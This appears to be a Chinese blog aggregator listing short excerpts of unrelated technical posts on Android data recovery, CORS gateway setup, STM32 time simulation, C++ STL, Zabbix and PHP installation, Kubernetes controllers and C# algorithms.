您正在摆弄 Android 设备。突然&#xff0c;您意外删除了一张或多张图片。不用担心&#xff0c;您总能找到一款价格实惠的数据恢复应用。这款先进的软件可帮助 Android 用户从硬盘、安全数字 (SD) 或存储卡以及数码相机中恢复已删除的数据。 Android 上数据被删除的主要原因 在…...

谷粒商城实战笔记-47-商品服务-API-三级分类-网关统一配置跨域

文章目录 一&#xff0c;跨域问题1&#xff0c;跨域问题产生的原因2&#xff0c;预检请求3&#xff0c;跨域解决方案3.1 CORS (Cross-Origin Resource Sharing)后端配置示例&#xff08;Spring Boot&#xff09; 3.2 JSONP (JSON with Padding)3.3 代理服务器Nginx代理配置示例…...

stm32平台为例的软件模拟时间,代替RTC调试

stm32平台为例的软件模拟时间&#xff0c;代替RTC调试 我们在开发项目的时候&#xff0c;如果用到RTC&#xff0c;如果真正等待RTC到达指定的时间&#xff0c;那调试时间就太长了。 比如每隔半个小时&#xff0c;存储一次数据&#xff0c;如果要观察10次存储的效果&#xff0…...

《设计模式之美》读书笔记2

从Linux学习应对大型复杂项目的方法&#xff1a; 1、封装与抽象&#xff1a;封装了不同类型设备的访问细节&#xff0c;抽象为统一的文件访问方式&#xff0c;更高层的代码就能基于统一的访问方式&#xff0c;来访问底层不同类型的设备。这样做的好处是&#xff0c;隔离底层设备…...

C++ STL set_difference 用法

一&#xff1a;功能 给定两个集合A&#xff0c;B&#xff1b;计算集合的差集&#xff0c;即计算出那些只包含在A中而不包含在B中的元素。 二&#xff1a;用法 #include <vector> #include <algorithm> #include <iostream>int main() {std::vector<int&…...

【基础算法总结】优先级队列

优先级队列 1.最后一块石头的重量2.数据流中的第 K 大元素4.前K个高频单词4.数据流的中位数 点赞&#x1f44d;&#x1f44d;收藏&#x1f31f;&#x1f31f;关注&#x1f496;&#x1f496; 你的支持是对我最大的鼓励&#xff0c;我们一起努力吧!&#x1f603;&#x1f603; 1…...

python-绝对值排序(赛氪OJ)

[题目描述] 输入 n 个整数&#xff0c;按照绝对值从大到小排序后输出。保证所有整数的绝对值不同。输入格式&#xff1a; 输入数据有多组&#xff0c;每组占一行&#xff0c;每行的第一个数字为 n ,接着是 n 个整数&#xff0c; n0 表示输入数据的结束&#xff0c;不做处理。输…...

成功者的几个好习惯,你具备了几个

每个人都想成为自己领域的佼佼者&#xff0c;然而&#xff0c;成功并非偶然&#xff0c;它往往与一系列良好的习惯紧密相连。这些习惯如同灯塔&#xff0c;指引着成功者在波涛汹涌的大海中稳健前行。 一、设定明确目标 没有明确的目标&#xff0c;就如同航海没有指南针&#…...

centos中zabbix安装、卸载及遇到的问题

目录 Zabbix简介Zabbix5.0和Zabbix7.0的区别监控能力方面模板和 API 方面性能、速度方面 centos7安装Zabbix(5.0)安装zabbix遇到的问题卸载Zabbix Zabbix简介 Zabbix 是一个基于 WEB 界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix 能监视各种网络参…...

php编译安装

一、基础环境准备 # php使用www用户 useradd -s /sbin/nologin -M www二、下载php包 # 下载地址 https://www.php.net/downloads wget https://www.php.net/distributions/php-8.3.9.tar.gz三、配置编译安装 编译安装之前需要处理必要的依赖&#xff0c;在编译配置安装&…...

[K8S] K8S资源控制器Controller Manager(4)

文章目录 1. 常见的Pod控制器及含义2. Replication Controller控制器2.1 部署ReplicaSet 3. Deployment3.1部署Deployment3.2 运行Deployment3.3 镜像更新方式3.4 Deployment扩容3.5 滚动更新3.6 金丝雀发布(灰度发布)3.7 Deployment版本回退3.8 Deployment 更新策略 4. Daemon…...

C#,.NET常见算法

1.递归算法 1.1.C#递归算法计算阶乘的方法 using System;namespace C_Sharp_Example {public class Program{/// <summary>/// 阶乘&#xff1a;一个正整数的阶乘Factorial是所有小于以及等于该数的正整数的积&#xff0c;0的阶乘是1&#xff0c;n的阶乘是n&#xff0…...